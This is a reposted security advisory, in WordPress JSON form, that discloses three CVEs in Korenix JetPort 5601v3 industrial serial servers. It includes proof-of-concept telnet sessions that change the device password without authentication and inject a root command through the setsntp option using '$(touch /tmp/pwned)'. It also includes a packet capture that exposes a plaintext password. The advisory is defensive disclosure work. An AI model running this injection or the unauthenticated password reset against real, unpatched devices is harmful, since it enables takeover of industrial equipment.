{"id":58652,"date":"2024-08-06T17:19:46","date_gmt":"2024-08-06T14:19:46","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179922\/CDSR-20240805-0.txt"},"modified":"2024-08-06T17:19:46","modified_gmt":"2024-08-06T14:19:46","slug":"korenix-jetport-series-1-2-command-injection-insufficient-authentication","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/korenix-jetport-series-1-2-command-injection-insufficient-authentication\/","title":{"rendered":"Korenix JetPort Series 1.2 Command Injection \/ Insufficient Authentication"},"content":{"rendered":"<p>CyberDanube Security Research 20240805-0<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>title| Multiple Vulnerabilities in JetPort Series<br \/>product| Korenix JetPort Series<br \/>vulnerable version| 1.2<br \/>fixed version| None<br \/>CVE number| CVE-2024-7395, CVE-2024-7396, CVE-2024-7397<br \/>impact| High<br \/>homepage| https:\/\/www.korenix.com\/<br \/>found| 2024-04-01<br \/>by| S. Dietz (Office Vienna)<br \/>| CyberDanube Security Research<br \/>| Vienna | St. P\u00f6lten<br \/>|<br \/>| https:\/\/www.cyberdanube.com<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>Vendor description<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;Korenix Technology, a Beijer group company within the Industrial Communication<br \/>business area, is a global leading manufacturer providing innovative, market-<br \/>oriented, value-focused Industrial Wired and Wireless Networking Solutions.<br \/>With decades of experiences in the industry, we have developed various product<br \/>lines [&#8230;].<\/p>\n<p>Our products are mainly applied in SMART industries: Surveillance, Machine-to-<br \/>Machine, Automation, Remote Monitoring, and Transportation. Worldwide customer<br \/>base covers different Sales channels, including end-customers, OEMs, system<br \/>integrators, and brand label partners. [&#8230;]&#8221;<\/p>\n<p>Source: https:\/\/www.korenix.com\/en\/about\/index.aspx?kind=3<\/p>\n<p>Vulnerable versions<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>Korenix JetPort 5601v3 \/ v1.2<\/p>\n<p>Vulnerability overview<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Insufficient Authentication (CVE-2024-7395)<br \/>The configuration service on port 600\/tcp doesnt require authentication to be<br \/>used. This allows an attacker to change the password or other critical<br \/>information.<\/p>\n<p>2) Plaintext Communication (CVE-2024-7396)<br \/>The communication of the configuration service is transmitted in plain text.<br \/>An attacker could use this information to sniff passwords or other critical<br \/>information.<\/p>\n<p>3) Unauthenticated Command Injection (CVE-2024-7397)<br \/>An attacker with network access an can execute arbitrary commands as root user<br \/>via the management service on port 600\/tcp.<\/p>\n<p>Proof of Concept<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>1) Insufficient Authentication (CVE-2024-7395)<br \/>The management software JetPort Commander is used as an frontend for the telnet<br \/>service on 600\/tcp. While it is possible to set a password, the passwords gets<br \/>sent to the software in cleartext and gets validated on the client software<br \/>rather than on the device. An attacker can bypass the management software by<br \/>using telnet to directly connect to the port. This allows him to reconfigure<br \/>the device including passwords and access controls.<\/p>\n<p>$ telnet 192.168.122.76 600<br \/>Trying 192.168.122.76&#8230;<br \/>Connected to 192.168.122.76.<br \/>Escape character is &#8216;^]&#8217;.<br \/>-&gt; setpassword poc<\/p>\n<p>target:\/$ cat \/tmp\/com2ip.conf<br \/>version:1.2.0<br \/>model:JetPort5601v3<br \/>name:JetPort5601v3-DEFAULT<br \/>serialno:0000000000000000<br \/>password:poc<br \/>switchmode:redundant<br \/>network:static:192.168.122.76:192.168.10.1:192.168.10.1<\/p>\n<p>2) Plaintext Communication (CVE-2024-7396)<br \/>The management service uses telnet as protocol. We used tcpdump to inspect the<br \/>traffic during a password change. The new password (newpass) is readable during<br \/>transmission.<\/p>\n<p># sudo tcpdump -i virbr0 dst port 600 -X<br \/>14:17:25.461197 IP 192.168.122.240.49600 &gt; 192.168.122.76.600: Flags [P.], seq 0:21, ack 13, win 16422, length 21<br \/>\u2002\u2002\u2002\u2002\u2002\u20020x0000: 4500 003d 16a7 4000 8006 6d86 c0a8 7af0 E..=..@&#8230;m&#8230;z.<br \/>\u2002\u2002\u2002\u2002\u2002\u20020x0010: c0a8 7a4c c1c0 0258 522b 6096 12eb 337d ..zL&#8230;XR+`&#8230;3}<br \/>\u2002\u2002\u2002\u2002\u2002\u20020x0020: 5018 4026 76bd 0000 7365 7470 6173 7377 P.@&amp;v&#8230;setpassw<br \/>\u2002\u2002\u2002\u2002\u2002\u20020x0030: 6f72 6420 6e65 7770 6173 730d 0a ord.newpass..<\/p>\n<p>3) Unauthenticated Remote Code Execution (CVE-2024-7397)<br \/>The management service on port 600\/tcp is used to configure JetPort devices<br \/>over the network. An attacker can inject arbitrary commands in multiple<br \/>settings options. The binary ser2net receives the data via the telnet<br \/>protocol and translates it to arguments for system() calls. For our PoC we<br \/>used the setsntp option to create the file \/tmp\/pwned.<\/p>\n<p>$ telnet 192.168.122.76 600<br \/>Trying 192.168.122.76&#8230;<br \/>Connected to 192.168.122.76.<br \/>Escape character is &#8216;^]&#8217;.<br \/>-&gt; setsntp pool.ntp.org$(touch \/tmp\/pwned),123,Asia\/Taipei,1<br \/>OK<br \/>-&gt;<\/p>\n<p>target:\/$ ls -rtlha \/tmp\/<br \/>drwxrwxr-x 17 root 0 1.0k Apr 4 10:41 ..<br \/>-rw-r&#8211;r&#8211; 1 root 0 4 Apr 4 12:28 thttpd.pid<br \/>-rw-r&#8211;r&#8211; 1 root 0 712 Apr 4 12:29 com2ip.conf<br \/>-rw-r&#8211;r&#8211; 1 root 0 0 Apr 4 12:33 pwned<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>The vulnerabilities were manually verified on an emulated device by using the<br \/>MEDUSA scalable firmware runtime (https:\/\/medusa.cyberdanube.com).<\/p>\n<p>Solution<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>None. Device is End-of-Life.<\/p>\n<p>Workaround<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>Limit the access to the device and place it within a segmented network.<\/p>\n<p>Recommendation<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>CyberDanube recommends customers from Korenix to remove the device from their<br \/>network topology.<\/p>\n<p>Contact Timeline<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>2024-04-08: Contacting Beijer Electronics Group via cs@beijerelectronics.com.<br \/>2024-05-07: Received confirmation that the issue is beeing looked into.<br \/>2024-06-10: Contact stated that the product is considered EoL and will no<br \/>longer receive security updates.<br \/>2024-06-10: Confirm receipt and telling them that we will publish the<br \/>advisory after our 90-days deadline.<br \/>2024-08-05: Publication of the Advisory.<\/p>\n<p>Web: https:\/\/www.cyberdanube.com<br \/>Twitter: https:\/\/twitter.com\/cyberdanube<br \/>Mail: research at cyberdanube dot com<\/p>\n<p>EOF Sebastian Dietz \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CyberDanube Security Research 20240805-0&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-title| Multiple Vulnerabilities in JetPort Seriesproduct| Korenix JetPort Seriesvulnerable version| 1.2fixed version| NoneCVE number| CVE-2024-7395, CVE-2024-7396, CVE-2024-7397impact| Highhomepage| https:\/\/www.korenix.com\/found| 2024-04-01by| S. Dietz (Office Vienna)| CyberDanube Security Research| Vienna | St. P\u00f6lten|| https:\/\/www.cyberdanube.com&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- Vendor description&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;Korenix Technology, a Beijer group company within the Industrial Communicationbusiness area, is a global leading manufacturer providing innovative, market-oriented, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58652","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58652","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58652"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58652\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58652"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58652"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58652"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}